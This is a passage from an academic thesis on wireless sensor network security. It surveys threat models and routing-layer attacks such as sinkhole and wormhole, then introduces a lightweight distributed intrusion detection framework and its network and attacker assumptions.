data, and cryptographic keys.
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This vulnerability is enhanced by the absence of any fixed infrastructure; in particular, there

is no central controller to monitor the operation of the network and identify intrusion attempts.

While most of such networks have a designated base station, its role is typically restricted to data

collection and query distribution, and does not include any form of actual control. As a result, any

security mechanism has to be implemented as a cooperative, distributed effort of all the network

nodes.

However, this issue is further complicated by the difficulty of differentiating trustworthy nodes

from compromised ones. A compromised node is, perhaps, still capable of generating valid network

data and distributing it around in order to appear functionally stable. This prevents cooperating

nodes from taking punitive measures against their corrupt neighbors so that they continue to rely

on the fake information being fed to them. As will be shown in the next chapter, this is something

that must be taken into consideration when designing reliable intrusion detection systems.

2.4 Security Requirements

Sensor networks are a special type of distributed networking. They share some commonalities with

a typical computer network, but also pose unique requirements and constraints of their own as

discussed in the previous section. Therefore, we can think of their security goals as encompassing

both the typical network requirements and the unique requirements suited solely to WSNs.

Their security profile must be enhanced with attributes (63) including Confidentiality, Integrity,

Data Freshness, Authentication, and Availability (64, 65). All network models (including communi-

cation, routing, and security) allow provisions for implementing these properties in order to assure

protection against the kind of attacks to which these types of networks are vulnerable to (more

information can be found in Section 2.7). In what follows, we discuss these standard security

requirements (and eventually behavior) we would like the sensor network to have.

• Data Confidentiality. Confidentiality is the ability to conceal network traffic from a passive

attacker so that any message communicated via the sensor network remains secret. This

is the most important issue in network security. In many applications (e.g., key distribu-

tion) nodes communicate highly sensitive data. The standard approach for keeping sensitive

data secret is to encrypt them with a secret key that only intended receivers possess, hence

achieving confidentiality. Since public-key cryptography is too expensive to be used in the

resource constrained sensor networks, most of the proposed protocols use symmetric key en-

cryption (66, 67, 68, 69) methods. Furthermore, while confidentiality guarantees the security

of communications inside the network it does not prevent the misuse of information reaching
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the base station. Hence, it must also be coupled with the right control policies so that only

authorized users can have access to confidential information.

• Data Authentication & Integrity. In a sensor network, an attacker can easily inject additional

false messages (49), so the receiver needs to make sure that the data used in any decision-

making process are valid. Integrity and authentication (70, 71) is necessary to enable sensor

nodes to detect modified, injected, or replayed packets. While it is clear that safety-critical

applications require authentication, it is still wise to use it even for the rest of applications

since otherwise the owner of the sensor network may get the wrong picture of the sensed

world thus making inappropriate decisions. Data authentication is usually achieved through

symmetric or asymmetric mechanisms where sending and receiving nodes share secret keys.

Due to the wireless nature of the media (that may cause data loss or damage) and the

unattended nature of sensor networks, it is extremely challenging to ensure authentication.

However, authentication alone does not solve the problem of node takeovers as compromised

nodes can still authenticate themselves to the network. Hence authentication mechanisms

should be “collective” and aim at securing the entire network. Using intrusion detection

techniques we may be able to locate the compromised nodes and start appropriate revoking

procedures.

• Data Availability. Availability determines whether a node has the ability to use the resources

and whether the network is available for the messages to communicate. A sensor network

should be robust against various security attacks, and if an attack succeeds, its impact should

be minimized. However, the limited ability of individual sensor nodes to detect between

threats and benign failures makes ensuring network availability extremely difficult.

• Data Freshness. Data freshness implies that the data is recent, and it ensures that an ad-

versary has not replayed any old messages. To solve this problem a nonce (72), like sequence

numbers, can be added into the packets for sorting the old ones out.

All this discussion suggests that it is necessary to develop networks that exhibit autonomic

security capabilities, i.e., be resilient to attacks and have the ability to contain damage after an

intrusion.

2.5 Issues in Sensor Network Security Research

A security architecture for sensor networks must integrate a number of security measures and

techniques in order to protect the network and satisfy the desirable requirements we have outlined.
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To achieve a secure system, security must be integrated into every component, since components

designed without security can become a point of attack. Consequently, security must pervade every

aspect of the underlying system design.

In what follows we describe the most important components that are currently under research

in this type of distributed networking. Some of these research issues are similar to those faced in

traditional networks, only with some additional constraints; others are unique to sensor networks.

• Self-Organization. A WSN is a typical ad hoc network, which requires every sensor node to be

independent and flexible enough to use self-organizing and self-healing properties according

to the application demands. There is no fixed infrastructure available for the purpose of

network management in a sensor network. In the same way that nodes can organize their

routes for supporting multi-hop communication, they must also self-organize to conduct key

management (73, 74) and build trust relations among sensors. If self-organization is lacking,

the damage resulting from an attack or even the surrounding hostile environment can be

destructive.

• Key Establishment. When setting up a sensor network, one of the first requirements is to

establish cryptographic keys for later use. Researchers have proposed a variety of protocols

over several decades for this well-studied problem. Why can’t the same key-establishment

protocols be used in sensor networks? The inherent properties of sensor networks render

previous protocols impractical. Many current sensor devices have limited computational

power, making public-key cryptographic primitives too expensive in terms of system overhead.

Key-establishment techniques need to scale to networks with hundreds or thousands of nodes.

Moreover, having each node sharing a separate key with every other node in the network is

not possible due to memory constraints.

• Time Synchronization. Most sensor network applications rely on some form of time syn-

chronization (18) between communicating nodes for: (i) energy conservation by turning on

and off their radio in predefined time slots, and (ii) computation of a packet’s end-to-end

delay. Explicit defenses against attacks assume a loose synchronization between cooperating

nodes such as µTESLA (72). However, secure time synchronization is considered to be a very

important but challenging task that has not yet been addressed effectively.

• Secure Localization. Some of the most important utilities of sensor networks, e.g. tracking,

rely on their ability to accurately locate each node in the network. For example, a proto-

col designed to locate faults will need accurate location information in order to pinpoint the
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location of a fault. A number of attempts have been made towards this direction (43, 75). Un-

fortunately, an attacker can easily manipulate non secured location information by reporting

false signal strengths, replaying signals, etc.

• Secure Data Aggregation. As WSNs continue to grow in size, so does the amount of data

that nodes are capable of sensing. Because of this, a query made by the base station is likely

to return a great deal of traffic, much of which is not of interest to intermediate individuals

that act as routers. Therefore, it is advantageous to have aggregators for collecting primitive

data from a subset of nodes and then process them into more useful sets before actually

transmitting them. Secure information aggregation techniques are needed because, as we

noted earlier, not all nodes can be considered trustworthy; aggregators can easily alter the

received content. A number of attempts have been made towards this direction (66, 76, 77, 78)

but much more investigation is needed.

• Secure Routing. Routing and data forwarding is an essential service for enabling communi-

cation in sensor networks. Unfortunately, as will be presented in Chapters 4 and 5, current

routing protocols suffer from many security vulnerabilities (79). For example, an attacker

might launch denial-of-service attacks on the routing protocol, preventing communication.

The simplest attacks involve injecting malicious routing information into the network, result-

ing in routing inconsistencies. Simple authentication might guard against injection attacks,

but some routing protocols are susceptible to replay by the attacker of legitimate routing

messages. Securing such protocols is very important, since even a single compromised node

could completely paralyze communication in the network.

2.6 Threat Model

Although sensor network security is generally characterized by the same properties as traditional

network security, WSNs are vulnerable to new methods of exploitation. There are many classes of

attacks based on the nature and goals of the performing adversaries; however, in this section we

will present and compare the most important ones.

In order to plan and design better intrusion detection rules, attacks are classified based on their

attributes, damage level caused on the network functionality, and ease of exposing the attacker’s ID

(Table 2.3). We formulate a threat model that distinguishes between two major types of attacking

classes (63, 79): (i) based on attacker’s location, and (ii) based on attacker’s strength. We now

treat each one of these classes in turn.
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2.6 Threat Model

Table 2.3: Threat Model of WSNs

Attack Features Types Damage Ease of Effects
Category Level Identity

Based on Outsider Passive Low Medium Implicit
attacker’s
location Insider Active High Hard Explicit

Based on Mote-class Both Low Hard Explicit
attacker’s
strength Laptop-class Both High Easy Explicit

2.6.1 Attacks based on Attacker’s Location

In this class, attacks can be categorized as outsider (external) and insider (internal) depending on

whether the attacker is a legitimate node of the network or not. In the first case, the intruder node

is not an authorized participant of the sensor network and can be used to launch passive attacks

(Table 2.4). Usually authentication and encryption techniques prevent such attackers from gaining

any special access to the network.

Table 2.4: Functions and Effects of External Attacks

Functions Effects

Initiate attacks without authentication Gather & Steal information
Monitor & Eavesdrop traffic Compromise privacy/confidentiality
Jam communications WSN’s resource consumption
Trigger DoS Attacks WSN functionality degradation

However, as the communication takes place over a wireless channel, a passive attacker can

easily eavesdrop on the network’s radio frequency range in an attempt to steal private or sensitive

information. The adversary can also alter or spoof packets to infringe on the authenticity of

communication or inject interfering wireless signals to jam it. Another form of outsider attack is

to disable sensor nodes. An attacker can inject useless packets to drain the receiver’s battery, or

she can capture and physically destroy nodes (80).

In the case of an insider attack, intrusions are performed by compromised nodes in the WSN.

In contrast to disabled nodes, compromised nodes activity seek to disrupt or paralyze the network.

An adversary by physically capturing the node and reading its memory, can obtain its key material

and forge network messages. As shown in Table 2.5, having access to legitimate keys can give the

attacker the ability to launch several kinds of attacks, such as false data injection and selective
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Table 2.5: Functions and Effects of Internal Attacks

Functions Effects

Inject faulty data into the WSN Accessing & revealing WSN codes/keys
Impersonation Data alteration
Unauthorized access & modification Obstructing/cutting of nodes from
of resources and data streams their neighbors (selective reporting)
Create holes in security protocols Patial/Total degradation/disruption
Overload the WSN Denial of Service
Executing malicious exploits or use High threat to the functional
of legitimate cryptographic content efficiency of the whole network

reporting, without easily being detected. Overall, insider attacks constitute the main security

challenge in sensor networks; that is why all of our research, as will be demonstrated in the following

chapters, is based on threat models that include the existence of compromised nodes yet limited

to the CPU, power, bandwidth, and range limitations of the used network platform. More details

on the assumptions made regarding the capabilities of an adversary targeting the network can be

found in the following chapters that describe the security protection level achieved by our proposed

Intrusion Detection System enhanced with novel detection rules and algorithms.

Of course, an adversary cannot have unlimited capabilities. There is some cost associated

with capturing, reverse-engineering and controlling a node. Therefore, we should assume that the

adversary can compromise only a limited number of sensor nodes. This fact affects the design of

security protocols, as it is easier to offer some protection against a few compromised nodes, but

not for the case where a large portion of the network is in control of the attacker.

2.6.2 Attacks based on Attacker’s Strength

Attackers can use different types of devices to attack the targeted network; these devices have

different computation power, radio antenna and other capabilities. Two common categories have

been identified by Karlof and Wagner (79) including laptop-class and mote-class attackers. Laptop-

class attackers may possess powerful hardware such as faster CPU, larger battery, and high-power

radio transmitter. This hardware allows a more broad range of attacks which are more difficult

to stop. Their goal may be to run some malicious code and seek to steal secrets from the sensor

network or disrupt its normal functions. For example, in (81) the authors demonstrate how to

extract cryptographic keys from a sensor node using a JTAG programmer interface in a matter of

seconds.
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On the other hand, mote-class attackers are constrained to the CPU, power, bandwidth, and

range limitations of the used mote platform. Most of the times, they have access to a few sensor

nodes with similar capabilities, but not much more than this. They may try to jam a radio link,

but only in the sensor node’s immediate vicinity. However, these attacks are more limited since

the attackers try to exploit the network’s vulnerabilities using only the sensor’s node capabilities.

2.7 Types of Attacks against Networking Layers

As we mentioned earlier, sensor networks are vulnerable to security threats due to the unique

characteristics of their underlying networking protocols. Attacks can occur in different layers such

as physical, link (MAC), network, transportation, and application layer (49, 82). What makes it

even easier for an attacker is that most of these protocols (especially routing protocols) are not

designed having security threats in mind. As a consequence, sensor network deployments rarely

include security protection and little or no effort is usually required from the side of the attacker

to perform the attack.

For example, attacks at the physical layer include radio signal jamming and tampering with

physical devices:

• Jamming is simply interference with the radio frequencies used by the network’s devices. It

represents an attack on the availability of the network. It is only different from normal radio

propagation in that it is unwanted and disruptive, thus creating denial-of-service conditions.

• Tampering is a node compromise as we described above. It is relatively easy to perform and

pretty harmful.

Other problematic issues come from the link layer which handles neighbor-to-neighbor com-

munication and channel arbitration. If an adversary can generate collisions of even part of a

transmission, she can disrupt the entire packet. A single bit error will cause a CRC mismatch and

possibly require retransmission. Also, she may target for the exhaustion of a network’s battery

power. Exhaustion can be induced by an interrogation attack. In the IEEE 802.11 protocols, for

example, Request To Send (RTS) and Clear To Send (CTS) packets are used to reserve bandwidth

before data transmission. A compromised node could repeatedly send RTS packets in order to elicit

CTS packets from a targeted neighbor, eventually consuming the battery power of both nodes. An-

other form of this attack, is the addition to the network of a node that feeds false data or prevents

the passage of true data (“sleep deprivation torture”). Finally, a more subtle goal for an attacker

may be unfairness in the MAC layer. A compromised node can be altered to intermittently attack

the network in such a way that induces unfairness in the priorities for granting medium access.
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Table 2.6: Attacks against Networking Layers

Threat Layer Defense Techniques

Jamming Spread-spectrum, lower duty cycle
Tampering Physical Tamper-proofing, Effective Key Management

Schemes

Exhausting Rate Limitation
Collision Link Error Correcting Code

HELLO Flood Two-way authentication, Three-way Hand-
shake

Sinkhole Authentication, Monitoring, Redundancy
Wormhole Network Flexible Routing, Monitoring
Sybil Authentication

Flooding Transport Limited Connection Numbers, Client Puzzles

Cloning Unique Pair-Wise Keys
Denial-of-Service Application Client Puzzles

This weak form of denial of service might, for example, increase latency so that real-time protocols

miss their deadlines.

Besides the above described attacks, for which there are some efficient countermeasures (Ta-

ble 8.1), the most important and hard to identify security breaches target the network layer.

Network layer is responsible for routing packets across multiple nodes. Wireless sensor nodes do

not need to communicate directly with the nearest high-power control tower or base station, but

only with their local peers. Thus, every node in a sensor network must assume routing responsi-

bilities. WSNs are particularly vulnerable to routing attacks because every node is essentially a

router. There are many sophisticated attacks that exploit specific characteristics of the routing

protocols in order to affect the created topology and gain access to the routed information. These

attacks have been classified and described analytically by Karlof and Wagner (79).

• HELLO Flood Attack. In many sensor network protocols, nodes need to broadcast HELLO

packets for neighbor discovery purposes. In a HELLO flood attack, an attacker can send or

replay such messages with high transmission power. In this way, she creates an illusion of

being a neighbor to many nodes and can disrupt the construction of the underlying routing

tree, facilitating further types of attacks.

• Sinkhole Attack. The sinkhole attack is a particularly severe attack that prevents the base

station from obtaining complete and correct sensing data, thus forming a serious threat to
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higher-layer applications. Using this attack, an adversary can attract nearly all the traffic

from a particular area. Typically, sinkhole attacks work by making a malicious node look

especially attractive to surrounding nodes with respect to the underling routing algorithm.

• Wormhole Attack. The wormhole attack constitutes a threat against the routing control plane

of a network which is particularly challenging to detect and prevent. In this kind of attack, an

adversary can convince distant nodes that are only one or two hops away via the wormhole.

The wormhole is a low-latency link that is formed in such a way so that packets can travel

from one end to the other faster than they would normally do via a multi-hop route. This

would confuse the network routing mechanisms.

• Sybil Attack. The sybil attack targets fault tolerant schemes such as distributed storage,

multi-hop routing, and topology maintenance. In this kind of attack, an adversary uses a

malicious device to create a large number of pseudonymous entities in order to gain influence

in the network traffic. We refer to these pseudo-nodes as Sybil nodes. The ID of these nodes

can be the result of “fake” network additions or duplication of already existing legitimate

identities.

Detecting the existence of a sinkhole or wormhole in the network is considered to be the most

challenging task since adversaries can operate in a stealthy mode. By stealthiness we highlight

the attacker’s advantage in misleading the routing protocol while operating in a legitimate, unde-

tectable manner. While she manages to fool benign nodes, her actions are masqueraded by the

existing routing policies. Therefore, we studied in depth these two kind of attacks and emphasized

on the strategies that can be followed to successfully launch them. Then we used our IDS frame-

work for proposing novel localized countermeasures, in Chapters 4 and 5 respectively, that can

make legitimate nodes become aware of the threat while the attack is still taking place. Detailed

theoretical analysis and simulation results confirm that the proposed algorithms can always thwart

these kinds of attacks.

2.8 Conclusions

Security is rapidly replacing performance as the first and foremost concern in many networking sce-

narios. In this chapter we have described the four main aspects of wireless sensor network security:

obstacles, requirements, threat models, and possible attacks. Within each of those categories we

have also identified the major topics including routing, node compromise, denial of service, and so

on. Our aim is to provide a general overview of the rather broad area of sensor networking security

and highlight the need for efficient security mechanisms able to withstand attacks that target their
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confidentiality, functionality, and availability. As Wood and Stankovic (83) point out, if security is

weak, sensor networks “will only be suitable for limited, controlled environments - falling far short

of their promise”. Their widespread deployment and overall success is directly related to their

security strength.

Significant progress has been made in providing specialized security mechanisms like key estab-

lishment, secure localization, secure aggregation and secure routing that prevent specific kind of

attacks from taking place. Some of these protocols were addressed and cited here. However, most

of these security mechanisms are based on particular assumptions on the attacker’s strength. If

the attacker is “weaker” than the security assumption, the protocol will achieve its security goal,

i.e., prevent an intruder from breaking into the network. If the attacker is “stronger” (i.e., behaves

more maliciously) than assumed, there is an admissible probability of successful penetration. Be-

cause of their numerous constraints, sensor nodes usually cannot deal with very strong adversaries.

Therefore, we can argue that any secure system will have vulnerabilities that an adversary can

exploit.

What has been lacking is a holistic approach that encompasses autonomic response and can

detect a wider range of attacks for which a sufficient set of anomaly and misuse detection rules

are provided. In Chapter 3, we consider the problem of cooperative intrusion detection in sensor

networks where nodes detect abnormal behavior and collaborate with each other in order to identify

the intruder in a distributed fashion. The proposed architecture is: (i) lightweight enough so that

it can run in parallel with the previously mentioned specialized cryptographic primitives, and (ii)

generic so that it can be easily enhanced with new detection rules and algorithms without the need

of re-designing the integrated components from scratch. As we will see, such a schema can offer

significant opportunities to the already existing security mechanisms for increasing their efficiency

and effectiveness, and enhancing the overall network security level.

A research challenge then, would be the design of novel lightweight countermeasures that can

be integrated in such a framework, detect security threats and respond without the need of any

specialized hardware or additional infrastructure. Chapters 4 and 5 present such algorithms for

detecting two of the most severe attacks, namely the sinkhole and wormhole attacks. They are

completely localized and work by looking for simple evidence that no attack is taking place, using

only connectivity information, as implied by the underlying communication graph, and total ab-

sence of coordination. We believe that such sets of principles will have practical use in real-world

deployments and can be considered as a reference point for further investigation of more attractive

solutions against various kinds of attacks.
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Chapter 3

A Lightweight Intrusion Detection
Framework

3.1 Introduction

Intrusion Detection has, over the last few years, assumed paramount importance within the broad

realm of network security, more so in the case of wireless sensor networks. These are networks

that do not have an underlying infrastructure; the network topology is constantly changing. As we

described in the previous chapter, their inherently vulnerable characteristics make them susceptible

to a wide range of attacks that once applied, it may be too late before any counter action can take

effect. This makes it important to constantly (or at least periodically) monitor all network opera-

tions in order to identify any suspicious behavior. Intrusion Detection Systems (IDS) do just that;

monitor audit data, look for intrusions to the system and initiate a proper response (e.g., start an

automatic retaliation). As such, there is a need to complement traditional prevention mechanisms

with efficient intrusion detection and response. That is why, as we described in Chapter 1, IDS are

aptly called the second line of defense.

Although there have been some recent developments in the area of IDS systems for wireless

ad hoc networks (84, 85, 86, 87, 88, 89), their important differences in terms of infrastructure, re-

sources, and immense scale of deployment within the sensor networking domain make the proposed

solutions not directly applicable. Thus traditional intrusion detection techniques are “not fit” for

securing WSNs because they are usually computationally expensive. However, in this chapter,

we will present an IDS framework that was first introduced in (90), which is both realistic and

lightweight enough to run, in parallel with other specialized security mechanisms, on computation-

ally and memory restricted devices such as the nodes of a sensor network. As we mentioned in

previous chapters, the motivation is to see how feasible such a system is in terms of practicality

and effectiveness in order to use it as a reference point for incorporating our novel generic detection

algorithms.
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Any part of the sensor network can be a possible point of intrusion, since all nodes act as

routers of information and they can be easily manipulated or subverted by an attacker. Therefore,

an IDS architecture for wireless sensor networks has to be decentralized. Section 3.6 presents such

a framework for organizing autonomous but cooperative IDS agents. It organizes the cooperation

of the agents according to the distributed nature of the events involved in the attacks, and, as a

result, an agent needs to send information to other agents only when this information is necessary

to detect the attack. The coordination mechanism arranges the message passing between the agents

in such a way so that the distributed detection is equivalent to having all events processed in a

central place.

The purpose of this chapter is twofold: (i) introduce the general guidelines for applying IDS

architectures in static sensor networks, and (ii) overview the intrusion detection framework that

will be used as the technology for building up our novel detection algorithms in the next chapters.

Section 3.2 briefly surveys the existing IDS techniques from wired and ad-hoc networks and indicates

important approaches that are appropriate for WSNs. In Section 3.3, we outline the requirements

that an IDS for sensor networks should satisfy. Then, in Section 3.4, we define our system model and

assumptions, based on which we describe the design followed by the intrusion detection algorithm

of Section 3.5. This sets the necessary foundation for Section 3.6, where we present the detection

agents of LIDeA (Distributed Lightweight Intrusion Detection F ramework), describe its modules

and their interconnection. In Section 3.7, we present experimental results regarding the performance

of LIDeA on real sensor motes. Section 3.8 considers currently existing IDS approaches in detail,

and finally, Section 3.10 concludes the chapter.

3.2 Background in Intrusion Detection

In intrusion detection we wish to provide an automated mechanism that identifies the source of

an attack, once an intrusion attempt has occurred, and generates an alarm to notify the network

or the administrator, so that appropriate preventive actions can take place. As an intrusion we

consider any set of actions that can lead to an unauthorized access or alteration of the system’s

functionality. Attackers may be using an external system without authorization or have legitimate

access to our system but are abusing their privileges (i.e. an insider attack).

3.2.1 Intrusion Detection Policies

In order to detect an intruder, we need to use a model of intrusion detection. We need to know

what an IDS system should look out for. In particular, an IDS system must be able to distinguish

between normal and abnormal activities in order to discover malicious attempts in time. However
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this can be difficult since many behavior patterns can be unpredictable and unclear. There are

three main techniques that an intrusion detection system can use to classify actions (91):

• Misuse detection. In misuse detection or signature-based detection systems (92, 93), the ob-

served behavior is compared with known attack patterns (signatures). Thus, action patterns

that may pose a security threat must be defined and given to the system. The misuse detec-

tion system tries to recognize any “bad” behavior according to these patterns. Any action

that is not clearly prohibited is allowed. This technique may exhibit low false positives, but

does not perform well at detecting previously unknown attacks (94). Anjum et al. (95) deal

with the ability of various routing protocols to facilitate intrusion detection techniques when

the attack signatures are completely known in the network.

• Anomaly detection. Anomaly detection (96) overcomes the limitations of misuse detection by

focusing on normal behaviors, rather than attack behaviors. This technique first describes

what constitutes a “normal” behavior (usually established by automated training) and then

flags as intrusion attempts any activities varying from this behavior by a statistically sig-

nificant amount. In this way there is a considerable possibility to detect novel attacks as

intrusions. There are two problems associated with this approach: First, a system can ex-

hibit legitimate but previously unseen behavior. This would lead to a substantial false alarm

rate, where anomalous activities that are not intrusive are flagged as intrusive. Second, and

even worse, an intrusion that does not exhibit anomalous behavior may not be detected,

resulting in false negatives.

• Specification-based detection. Specification-based detection (97, 98) tries to combine the

strengths of misuse and anomaly detection by looking for deviations from normal behavior.

In this case the normal behavior is based on manually defined specifications that describe

what is a correct operation and monitors any behavior with respect to these constraints. In

this way, legitimate but previously unseen behaviors will not cause a high false alarm rate,

as in the anomaly detection approach. Furthermore, since it is based on deviations from

legitimate behaviors, it can still detect previously unknown attacks.

In general, caution must be taken when applying the anomaly detection technique in sensor

networks. It is not easy to define what is a “normal behavior” in such networks, as they usually

adapt to variations in their environment or according to other parameters, such as the remaining

battery level. So, these legitimate changes of behavior may easily be mistaken from the IDS as

intrusion attempts. Moreover, sensor networks cannot bear the overhead of automatic training, due

31



3. A LIGHTWEIGHT INTRUSION DETECTION FRAMEWORK

to their low energy resources. Specification-based detection seems the most appropriate approach

in this case, if one can design appropriate rules that cover as broad range of attacks as possible.

3.2.2 Intrusion Detection Architectures

Traditionally, intrusion detection systems for fixed networks were divided into two categories: host-

based and network-based. The host-based architecture was the first architecture to be explored in

intrusion detection. A host-based intrusion detection system (HIDS) is designed to monitor, detect,

and respond to system activity and attacks on a given host (node). Any decision made is based on

information collected at that host by reviewing audit logs for suspicious activity. This contradicts

the distributed nature of sensor networks and makes it impossible to detect network attacks. A

network-based architecture is clearly more appropriate here.

Network-based intrusion detection systems (NIDS) use raw network packets as the data source.

A network-based IDS typically listens on the network, and captures and examines individual packets

in real time. It can analyze the entire packet, not just the header. In wired networks, active

scanning of packets from a network-based intrusion detection system is usually done at specific

traffic concentration points, such as switches, routers or gateways. On the other hand, wireless

sensor networks do not have such “bottlenecks”. Any node can act as a router and traffic is usually

distributed for load balancing purposes. So, it is impossible to monitor the traffic at certain points.

Therefore, when designing an IDS for sensor networks, we must carefully locate the detection

agents. Usually, due to the distributed nature of this type of networking and the traffic routed

within, identical IDS clients must be installed in several nodes. In our IDS framework, as will be

shown in Section 3.6, all agents are designed to be lightweight enough so that they can be hosted

by all nodes in the network.

3.3 Requirements of Intrusion Detection for WSNs

In order to elaborate on the requirements that an IDS system for sensor networks should satisfy, one

has to look at the specific characteristics of these networks, as described in Section 2.3. There are

two key requirements that an IDS must fulfill. These are effectiveness - how to make the intrusion

detection system classify malign and benign activity correctly - and efficiency - how to run the IDS

in a cost effective manner. These two requirements in essence suggest that an IDS should detect a

substantial percentage of intrusions into the supervised system, while keeping the false alarm rate

at an acceptable level at a lower cost. In particular, we require that an IDS for sensor networks

must satisfy the following properties:
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• Localized auditing. The IDS agents must work with localized and partial audit data. In sensor

networks there are no centralized points (apart from the base station) that can collect audit

data for the entire network, so this approach fits this type of networking.

• Minimal use of resources. The IDS framework should utilize a small amount of resources.

The wireless network does not have stable connections, and physical resources of network and

devices, such as bandwidth and power, are limited. Disconnection can happen at any time.

In addition, the communication between nodes for intrusion detection purposes should not

take too much of the available bandwidth.

• Trust no node. In a collaborative IDS, the nodes cannot assume that other participant nodes

can be trusted. Unlike wired networks, sensor nodes can be easily compromised. These nodes

may behave normally with respect to the routing of the information in order to obstruct the

successful detection of another intruder node. Therefore, in cooperative algorithms, the IDS

must assume that no node can be fully trusted.

• Be truly distributed. The process of data collection and analysis should be performed on a

number of locations, in order to distribute the load of the intrusion detection. The distributed

approach also applies to execution of the detection algorithm and alert correlation.

• Support addition of new nodes. In practice it is likely that a sensor network will be populated

with more nodes after its deployment. An IDS should be able to support this operation and

distinguish it from an attack that has the same effect. The necessity of this requirement will

become clear in Chapter 5 where we will investigate in depth the effects of the wormhole

attack in the network neighbor discovery protocol.

• Be secure. An IDS should be able to withstand a hostile attack against itself. Compromising

a monitoring node and controlling the behavior of the embedded IDS agent should not enable

an adversary to revoke a legitimate node from the network, or keep another intruder node

undetected.

3.4 Network Model and Assumptions

3.4.1 Sensor Nodes and Communication

We consider an asynchronous multi-hop wireless sensor network comprised of a set S = {s1, s2, . . . , sn}
of n resource-constrained sensor nodes. Each node of the network has a single wireless transceiver

through which it can communicate with the other nodes within its communication range r. We do

not assume a unit-disk graph model for the network. Instead, we consider a realistic representation
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for the communication model, where the range can be affected by various reasons and change from

one transmission to the next. The nodes themselves are assumed to be static, as it is the case

for many sensor network paradigms, and have knowledge of their 2-hop neighborhoods. Our first

assumption concerns the communication topology and is denoted by SMA-1 (for System Model

Assumption):

SMA-1 Honest nodes (those that behave according to the protocol) are connected via a path

consisting only of honest nodes. In other words, the network is characterized by redundant

routes so that each node has at least one honest neighbor that behaves correctly with respect

to the routing of information.

The above assumption is realistic, considering the case of sensor networks which are character-

ized by ad-hoc deployment and immense scale (Section 2.3.3). Since the density of the nodes is

rather high, this condition will be satisfied with high probability. The discussion in Section 3.6.3

offers some more insights as to why an intruder can still be detected even when SMA-1 is not true.

We also consider unreliable links and unpredictable delays for the wireless links. When a node

transmits a packet, it does not know which nodes successfully received the message, since the MAC

layer of the receivers does not send any acknowledgments or requests for retransmissions. A node

may miss to receive a message, either because a collision occurs or because its radio is not available

at the time of the transmission.

3.4.2 Threat Model

We assume the existence of only insider attackers that have the ability to capture and compromise

at most t nodes for launching an attack against the sensor network. We model this by allowing these

nodes to behave in a manner different than the one specified by the underlying protocols (Byzantine

failure (99)). As was described in the previous chapter, a compromised node is a network node

that was physically captured by an adversary and is under her control. Therefore, by reading its

memory, she can have access to the executable code, networking protocols, loaded legitimate keys

and other cryptographic contents. This gives the attacker the ability to launch several kinds of

attacks, such as false data injection, selective reporting, impersonation and routing attacks, without

easily being detected.

On the other hand, since the adversary has access only to the resources of the captured nodes,

she is limited to the CPU, power, bandwidth, and range limitations of the network’s mote platform.

We do not assume the existence of any extra specialized hardware like directional antennas, faster

CPU, or preprocessing units that can be used to avoid detection. However, as will be discussed

in Section 3.9, one can study such threat models (in order to understand their operation) and
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design sufficient set of detection rules and algorithms that can be easily integrated in our proposed

intrusion detection scheme.

We distinguish among compromised nodes one single node which is the source of the attack,

i.e., this node is the first to behave in a faulty way. All other non-source, faulty nodes are called

collaborators. Collaborators are neighbors of the source of an attack and may behave normally, but

in a devious way, with respect to the routing of the information (Sections 3.6.3 and 3.6.4) in order

to obstruct the successful detection of the actual intruder. The attacker can follow the protocol

for a certain period of time and therefore behave in a way which cannot be detected. However, at

some point in time the attacker must deviate from the protocol in some faulty node to launch an

attack. At this point in time, we say that the attacker attacks. Below is what we have assumed

to better model the concept of intrusion detection. Our first assumption concerns the number of

compromised nodes and is denoted by AMA-1 (for Attacker Model Assumption):

AMA-1 While an adversary can completely take over nodes and extract their cryptographic

keys, she cannot “outnumber” honest nodes by replicating captured nodes or introducing

new ones in sufficiently many parts of the network.

This assumption is needed because, as we will see in the next section, intrusion detection in

sensor networks should exploit their inherent characteristic of node cooperation. This means that

efficient IDS systems should be based on cooperative decision making mechanisms where every

node participates in the intrusion detection and response process. However, in such a schema, if

the majority of nodes in a specific neighborhood is compromised by an adversary, then intrusion

detection task would most probably fail. That is exactly what this assumption ensures: There

might exist t faulty nodes that try to affect the final detection result to the attacker’s benefit, but

the majority of the honest alerted nodes will still pinpoint to the intrusion source. In the sections

that follow, we will see that as long as this assumption holds, the proposed architecture can be

used to identify the attacker.

AMA-2 The time interval t∆ needed for initializing our IDS system (Section 3.6.1), is smaller

than the time needed by an adversary to compromise a sensor node during deployment.

This assumption simply says that the IDS initialization phase runs uninterrupted by malicious

nodes. This phase includes the setup of the 2-hop neighborhood data structure and the underlying

key management scheme. The fact that neighborhood discovery is the first step performed by a

sensor network upon deployment, requiring a very small amount of time, justifies the logic behind

this assumption. Furthermore, this is a standard assumption in works where some sort of security
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infrastructure has to be bootstrapped. After that and throughout the lifetime of the network, we

place no restrictions on node behavior. Nodes may leave the network, possibly because of energy

depletion, or new nodes may be deployed. In the latter case we assume that there is a secure node

addition protocol that is followed to prevent an attacker from introducing her own nodes.

3.5 Designing an Intrusion Detection System for WSNs

Intrusion detection is not only about detecting that a node has been attacked, but also identifying

the source of an attack. In our case, the intrusion detection process is triggered by an attack

and the subsequent alerts received by the neighboring sensors. The process ends by having the

participating sensors jointly expose the source of the attack. More precisely, the task of intrusion

detection (ID) can be defined as follows:

Definition. (Intrusion Detection Problem (IDP)). Find an algorithm that satisfies the following
properties:

• If an honest node s exposes a node t, then t is the source of the attack.

• If the attacker attacks, then at most after some time τ all honest nodes participating in the
detection process expose some node.

Our approach for solving this problem is to have sensor nodes around the source of the attack

exchange a list of suspect nodes, resulting from their partial view of the network, and apply a voting

scheme to agree on the node they are going to expose. This protocol should be able to tolerate the

presence of the attacker and its collaborator nodes, which might try to hinder its proper operation

and successful outcome.

In this context and taking into consideration the discussion in Sections 3.2 and 3.3, a distributed

architecture, based on node cooperation is a desirable solution. The correctness of such an approach

has been proved mathematically in (100), where the problem of intrusion detection is presented

in a more formal context. In Section 3.5.2 we discuss its logicality and efficiency, and give a brief

overview of the necessary and sufficient conditions, on the behavior of the IDS agents, such that

the ID problem can be solved cooperatively. However, as we noted earlier, the focus of this chapter

is not to give the detailed theoretical foundation of intrusion detection but to convince the reader

of the practicality and effectiveness of such an approach in the extremely resource constrained

environment of sensor networks. This will set the scene for the next chapters where we will prove

the applicability of the presented framework by developing novel detection countermeasures that

can be incorporated into it.
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Figure 3.1: Nodes A, C, D and E can be watchdogs of the link A → B.

3.5.1 Architectural Options

As we noted in Section 3.2.2, an IDS for sensor networks should be network-based, in the sense

that raw network packets should be used as the audit source. A popular technique, that we are

